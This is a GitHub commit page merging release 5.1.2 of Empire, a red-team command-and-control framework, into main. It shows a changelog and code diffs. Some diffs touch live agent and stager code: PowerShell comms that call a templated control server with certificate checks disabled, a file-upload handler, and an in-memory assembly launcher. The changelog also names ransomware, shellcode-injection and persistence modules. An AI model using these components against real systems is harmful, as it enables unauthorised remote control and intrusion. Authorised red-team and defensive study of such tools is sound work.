Skip to content

Commit

Permalink
Merge pull request #661 from BC-SECURITY/release/5.1.2
Browse files Browse the repository at this point in the history
v5.1.2 into main
  • Loading branch information
vinnybod authored Mar 29, 2023
2 parents 5b7bf16 + f43b12a commit e782c80
Show file tree
Hide file tree
Showing 36 changed files with 483 additions and 152 deletions.
33 changes: 32 additions & 1 deletion CHANGELOG.md
Original file line number Diff line number Diff line change
Expand Up @@ -7,6 +7,31 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0

## [Unreleased]

## [5.1.2] - 2023-03-29

- Updated Starkiller to v2.1.1
- Removed thread from IronPython agent (@Hubbl3)
- Fixed foreign listener issue with cookies (@Hubbl3)
- Fixed error message handling for port forward pivot (@Cx01N)
- Fixed upload not reporting error in PowerShell agent (@Cx01N)
- Fixed client not giving option to select upload directory (@Cx01N)
- Fixed persistence/powerbreach/eventlog launcher generation (@Cx01N)

## [5.1.1] - 2023-03-17

- Added D/Invoke option to Process Injection (@Cx01N)
- Added IronPython and csharp to windows/launcher_bat (@Cx01N)
- Added language option to spawn and spawnas modules (@Cx01N)
- Fixed issue with powershell and ironpython agents not using public classes (@Cx01N)
- Fixed issue where large shellcode files lock up server in Invoke_Shellcode (@Cx01N)
- Increased the default time for base64 encoded ironpython payloads (@Cx01N)
- Fix issue with large stacktrace on stale socketio connection (@Vinnybod)

## [5.1.0] - 2023-03-01

- Added a 'modified_input' field to the 'execute module' task (@Vinnybod)
- Added an endpoint to get the script for a module (@Vinnybod)

## [5.0.4] - 2023-02-25

- Fix module error in PSRansom (@Cx01N)
Expand Down Expand Up @@ -416,7 +441,13 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0
- Updated shellcoderdi to newest version (@Cx01N)
- Added a Nim launcher (@Hubbl3)

[Unreleased]: https://github.com/BC-SECURITY/Empire-Sponsors/compare/v5.0.4...HEAD
[Unreleased]: https://github.com/BC-SECURITY/Empire-Sponsors/compare/v5.1.2...HEAD

[5.1.2]: https://github.com/BC-SECURITY/Empire-Sponsors/compare/v5.1.1...v5.1.2

[5.1.1]: https://github.com/BC-SECURITY/Empire-Sponsors/compare/v5.1.0...v5.1.1

[5.1.0]: https://github.com/BC-SECURITY/Empire-Sponsors/compare/v5.0.4...v5.1.0

[5.0.4]: https://github.com/BC-SECURITY/Empire-Sponsors/compare/v5.0.3...v5.0.4

Expand Down
10 changes: 6 additions & 4 deletions empire/client/src/menus/InteractMenu.py
Original file line number Diff line number Diff line change
Expand Up @@ -240,16 +240,19 @@ def script_command(self, script_cmd: str) -> None:
log.error("[!] Error: " + response["detail"])

@command
def upload(self, local_file_directory: str) -> None:
def upload(self, local_file_directory: str, remote_file_directory: str) -> None:
"""
Tasks specified agent to upload a file. Use '-p' for a file selection dialog.
Usage: upload <local_file_directory>
Usage: upload <local_file_directory> [<remote_file_directory>]
"""
# Get file and upload to server
filename = local_file_directory.split("/")[-1]
data = get_data_from_file(local_file_directory)

if not remote_file_directory:
remote_file_directory = filename

if data:
response = state.upload_file(filename, data)

Expand All @@ -258,9 +261,8 @@ def upload(self, local_file_directory: str) -> None:

# If successful upload then pass to agent
response = state.agent_upload_file(
self.session_id, response["id"], file_path="C:\\Temp\\" + filename
self.session_id, response["id"], file_path=remote_file_directory
)
# TODO: Allow upload to a specific directory
if "id" in response.keys():
log.info("Tasked " + self.selected + " to upload file " + filename)
elif "detail" in response.keys():
Expand Down
1 change: 1 addition & 0 deletions empire/server/api/v2/agent/agent_task_dto.py
Original file line number Diff line number Diff line change
Expand Up @@ -79,6 +79,7 @@ class ModulePostRequest(BaseModel):
ignore_language_version_check: bool = False
ignore_admin_check: bool = False
options: Dict[str, Union[str, int, float]]
modified_input: Optional[str] = None


class DownloadPostRequest(BaseModel):
Expand Down
11 changes: 11 additions & 0 deletions empire/server/api/v2/module/module_api.py
Original file line number Diff line number Diff line change
Expand Up @@ -9,6 +9,7 @@
from empire.server.api.v2.module.module_dto import (
Module,
ModuleBulkUpdateRequest,
ModuleScript,
ModuleUpdateRequest,
domain_to_dto_module,
)
Expand Down Expand Up @@ -65,6 +66,16 @@ async def read_module(uid: str, module: EmpireModule = Depends(get_module)):
return domain_to_dto_module(module, uid)


@router.get("/{uid}/script", response_model=ModuleScript)
async def read_module_script(uid: str, module: EmpireModule = Depends(get_module)):
script = module_service.get_module_script(module.id)

if script:
return ModuleScript(module_id=uid, script=script)

raise HTTPException(status_code=404, detail=f"Module script not found for id {uid}")


@router.put("/{uid}", response_model=Module)
async def update_module(
uid: str,
Expand Down
5 changes: 5 additions & 0 deletions empire/server/api/v2/module/module_dto.py
Original file line number Diff line number Diff line change
Expand Up @@ -66,6 +66,11 @@ class Modules(BaseModel):
records: List[Module]


class ModuleScript(BaseModel):
module_id: str
script: str


class ModuleUpdateRequest(BaseModel):
enabled: bool

Expand Down
2 changes: 1 addition & 1 deletion empire/server/api/v2/starkiller
Submodule starkiller updated 58 files
+5 −0 .eslintrc.js
+12 −1 CHANGELOG.md
+3 −0 README.md
+0 −1 dist/assets/About.24b428c4.css
+1 −0 dist/assets/About.4f938d31.css
+1 −1 dist/assets/About.704d30ac.js
+1 −1 dist/assets/AgentEdit.8d5f4267.js
+0 −1 dist/assets/AgentExecuteModule.36ff7732.css
+1 −1 dist/assets/AgentExecuteModule.372f77f0.js
+1 −0 dist/assets/AgentExecuteModule.f649fa0b.css
+1 −1 dist/assets/Agents.9bb67d07.js
+1 −1 dist/assets/BypassEdit.cff5e0a3.js
+1 −1 dist/assets/Bypasses.9e3c3fd3.js
+1 −1 dist/assets/CredentialEdit.ec0330ed.js
+1 −1 dist/assets/Credentials.e540b86e.js
+1 −1 dist/assets/Downloads.bb806356.js
+1 −1 dist/assets/EditPageTop.7475b4b9.js
+1 −1 dist/assets/ErrorStateAlert.16470c5a.js
+1 −1 dist/assets/GeneralForm.f9abfeef.js
+1 −1 dist/assets/InfoViewer.921e09df.js
+1 −1 dist/assets/ListPageTop.7aa940a6.js
+1 −1 dist/assets/ListenerEdit.206f3b9b.js
+1 −1 dist/assets/Listeners.c46791e4.js
+1 −1 dist/assets/MalleableProfileEdit.2c025099.js
+1 −1 dist/assets/MalleableProfiles.e6992f4d.js
+1 −1 dist/assets/ModuleExecute.8bcb748e.js
+1 −1 dist/assets/Modules.9dfb7db7.js
+1 −1 dist/assets/Obfuscation.7ffa76d1.js
+1 −1 dist/assets/PluginEdit.e5a94f04.js
+1 −1 dist/assets/Plugins.86ca9d70.js
+1 −1 dist/assets/Settings.087adbda.js
+1 −1 dist/assets/StagerEdit.999e7dda.js
+1 −1 dist/assets/Stagers.a8e35447.js
+1 −1 dist/assets/Tasks.d33220c2.js
+1 −1 dist/assets/TechniqueChips.2891877c.js
+1 −1 dist/assets/TooltipButton.02b25077.js
+1 −1 dist/assets/UserEdit.31684bce.js
+1 −1 dist/assets/Users.74a7da7d.js
+1 −1 dist/assets/VBreadcrumbs.2406f383.js
+1 −1 dist/assets/VDataTable.dddb051d.js
+1 −1 dist/assets/VExpansionPanelHeader.6af6232e.js
+1 −1 dist/assets/VItemGroup.1da3eac7.js
+1 −1 dist/assets/VRow.10a049aa.js
+1 −1 dist/assets/VSelect.a52fea65.js
+1 −1 dist/assets/VSwitch.55bcb161.js
+1 −1 dist/assets/VTabItem.57c33617.js
+1 −1 dist/assets/VTextarea.666e43fe.js
+1 −1 dist/assets/VTooltip.46124184.js
+1 −1 dist/assets/download-api.b13fb6a9.js
+2 −2 dist/assets/index.7f95dad9.js
+1 −1 dist/assets/index.a9b3c4ec.js
+1 −1 dist/assets/index.c04f8649.js
+1 −1 dist/assets/index.c82ce463.js
+1 −1 dist/index.html
+1 −1 package.json
+1 −1 src/App.vue
+1 −1 src/components/agents/AgentExecuteModule.vue
+1 −1 src/views/About.vue
15 changes: 11 additions & 4 deletions empire/server/api/v2/websocket/socketio.py
Original file line number Diff line number Diff line change
@@ -1,6 +1,7 @@
import json
import logging

from fastapi import HTTPException
from sqlalchemy.orm import Session

from empire.server.api import jwt_auth
Expand Down Expand Up @@ -48,10 +49,16 @@ def get_user_from_sid(sid):

@sio.on("connect")
async def on_connect(sid, environ, auth):
user = await get_user_from_token(sid, auth["token"])
if user:
log.info(f"{user.username} connected to socketio")
return
try:
user = await get_user_from_token(sid, auth["token"])
if user:
log.info(f"{user.username} connected to socketio")
return
except HTTPException:
# If a server is restarted and clients are still connected, there are
# sometimes token handling errors. We want to reject these since they fail
# to auth, but we don't need to print the whole stacktrace.
return False

return False

Expand Down
2 changes: 1 addition & 1 deletion empire/server/common/empire.py
Original file line number Diff line number Diff line change
Expand Up @@ -37,7 +37,7 @@

from . import agents, credentials, listeners, stagers

VERSION = "5.0.4 BC Security Fork"
VERSION = "5.1.2 BC Security Fork"

log = logging.getLogger(__name__)

Expand Down
3 changes: 0 additions & 3 deletions empire/server/common/stagers.py
Original file line number Diff line number Diff line change
Expand Up @@ -214,9 +214,6 @@ def generate_exe_oneliner(
$assembly.GetType("Program").GetMethod("Main").Invoke($null, $null);
"""

if encode:
launcher += "Start-Sleep 5;"

# Remove comments and make one line
launcher = helpers.strip_powershell_comments(launcher)
launcher = data_util.ps_convert_to_oneliner(launcher)
Expand Down
2 changes: 1 addition & 1 deletion empire/server/config.yaml
Original file line number Diff line number Diff line change
Expand Up @@ -37,7 +37,7 @@ database:
starkiller:
repo: https://github.com/BC-SECURITY/Starkiller.git
# Can be a branch, tag, or commit hash
ref: v2.0.5
ref: v2.1.1
# for private-main, instead of updating the submodule, just work out of a local copy.
# So devs can work off the latest changes and not worry about accidentally updating the submodule
# for the downstream main branches.
Expand Down
1 change: 1 addition & 0 deletions empire/server/core/agent_task_service.py
Original file line number Diff line number Diff line change
Expand Up @@ -299,6 +299,7 @@ def create_task_module(
module_req.options,
module_req.ignore_language_version_check,
module_req.ignore_admin_check,
modified_input=module_req.modified_input,
)

if err:
Expand Down
46 changes: 44 additions & 2 deletions empire/server/core/module_service.py
Original file line number Diff line number Diff line change
Expand Up @@ -2,6 +2,7 @@
import importlib.util
import logging
import os
from pathlib import Path
from typing import Dict, List, Optional, Tuple

import yaml
Expand Down Expand Up @@ -70,6 +71,7 @@ def execute_module(
params: Dict,
ignore_language_version_check: bool = False,
ignore_admin_check: bool = False,
modified_input: Optional[str] = None,
) -> Tuple[Optional[Dict], Optional[str]]:
"""
Execute the module. Note this doesn't actually add the task to the queue,
Expand All @@ -86,6 +88,9 @@ def execute_module(
if not module.enabled:
return None, "Cannot execute disabled module"

if modified_input:
module = self._create_modified_module(module, modified_input)

cleaned_options, err = self._validate_module_params(
module, agent, params, ignore_language_version_check, ignore_admin_check
)
Expand Down Expand Up @@ -249,6 +254,12 @@ def _generate_script(
obfuscation_config = self.obfuscation_service.get_obfuscation_config(
db, module.language
)
if not obfuscation_config:
obfuscation_enabled = False
obfuscation_command = None
else:
obfuscation_enabled = obfuscation_config.enabled
obfuscation_command = obfuscation_config.command

if module.advanced.custom_generate:
# In a future release we could refactor the modules to accept a obuscation_config,
Expand All @@ -258,8 +269,8 @@ def _generate_script(
self.main_menu,
module,
params,
obfuscation_config.enabled,
obfuscation_config.command,
obfuscation_enabled,
obfuscation_command,
)
except Exception as e:
log.error(f"Error generating script: {e}", exc_info=True)
Expand Down Expand Up @@ -404,6 +415,21 @@ def _generate_script_csharp(
log.error(f"dotnet compile error: {e}")
return None, "dotnet compile error"

def _create_modified_module(self, module: EmpireModule, modified_input: str):
"""
Return a copy of the original module with the input modified.
"""
modified_module = module.copy(deep=True)
modified_module.script = modified_input
modified_module.script_path = None

if modified_module.language == LanguageEnum.csharp:
compiler_dict = yaml.safe_load(modified_module.compiler_yaml)
compiler_dict[0]["Code"] = modified_input
modified_module.compiler_yaml = yaml.safe_dump(compiler_dict)

return modified_module

def _load_modules(self, db: Session):
"""
Load Empire modules.
Expand Down Expand Up @@ -502,6 +528,22 @@ def _load_module(self, db: Session, yaml_module, root_path, file_path: str):
self.modules[self.slugify(module_name)] = my_model
self.modules[self.slugify(module_name)].enabled = mod.enabled

def get_module_script(self, module_id: str):
mod: EmpireModule = self.modules.get(module_id)

if not mod:
return None

if mod.script_path:
script_path = (
Path(empire_config.directories.module_source) / mod.script_path
)
script = script_path.read_text()
else:
script = mod.script

return script

def get_module_source(
self, module_name: str, obfuscate: bool = False, obfuscate_command: str = ""
) -> Tuple[Optional[str], Optional[str]]:
Expand Down
4 changes: 2 additions & 2 deletions empire/server/data/agent/agent.ps1
Original file line number Diff line number Diff line change
Expand Up @@ -909,11 +909,11 @@ function Invoke-Empire {
# get the raw file contents and save it to the specified location
$Content = [System.Convert]::FromBase64String($base64part);
try{
Set-Content -Path $filename -Value $Content -Encoding Byte
Set-Content -Path $filename -Value $Content -Encoding Byte -ErrorAction Stop -ErrorVariable error
Encode-Packet -type $type -data "[*] Upload of $fileName successful" -ResultID $ResultID;
}
catch {
Encode-Packet -type 0 -data '[!] Error in writing file during upload' -ResultID $ResultID;
Encode-Packet -type 0 -data $error -ResultID $ResultID;
}
}
# directory list
Expand Down
8 changes: 4 additions & 4 deletions empire/server/data/agent/stagers/http/comms.ps1
Original file line number Diff line number Diff line change
@@ -1,5 +1,5 @@
$server = "{{ host }}";
$Script:ControlServers = @($server);
$Script:server = "{{ host }}";
$Script:ControlServers = @($Script:server);
$Script:ServerIndex = 0;
if($server.StartsWith('https')){
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};
Expand Down Expand Up @@ -38,7 +38,7 @@ $Script:SendMessage = {
# exception posting data...
if ($_.Exception.GetBaseException().Response.statuscode -eq 401) {
# restart key negotiation
Start-Negotiate -S "$ser" -SK $SK -UA $ua;
Start-Negotiate -S "$Script:server" -SK $SK -UA $ua;
}
}
}
Expand Down Expand Up @@ -77,7 +77,7 @@ $Script:GetTask = {
$script:MissedCheckins += 1;
if ($_.Exception.GetBaseException().Response.statuscode -eq 401) {
# restart key negotiation
Start-Negotiate -S "$ser" -SK $SK -UA $ua;
Start-Negotiate -S "$Script:server" -SK $SK -UA $ua;
}
}
};
8 changes: 4 additions & 4 deletions empire/server/data/agent/stagers/http_com/comms.ps1
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
# Update control servers
$server = "{{ host }}";
$Script:ControlServers = @("$server");
$Script:server = "{{ host }}";
$Script:ControlServers = @("$Script:server");
$Script:ServerIndex = 0;

if(-not $IE) {
Expand Down Expand Up @@ -39,7 +39,7 @@ $script:GetTask = {
$script:MissedCheckins += 1
if ($_.Exception.GetBaseException().Response.statuscode -eq 401) {
# restart key negotiation
Start-Negotiate -S "$ser" -SK $SK -UA $ua;
Start-Negotiate -S "$Script:server" -SK $SK -UA $ua;
}
}
};
Expand Down Expand Up @@ -75,7 +75,7 @@ $script:SendMessage = {
# exception posting data...
if ($_.Exception.GetBaseException().Response.statuscode -eq 401) {
# restart key negotiation
Start-Negotiate -S "$ser" -SK $SK -UA $ua;
Start-Negotiate -S "$Script:server" -SK $SK -UA $ua;
}
}
}
Expand Down
Loading

0 comments on commit e782c80

Please sign in to comment.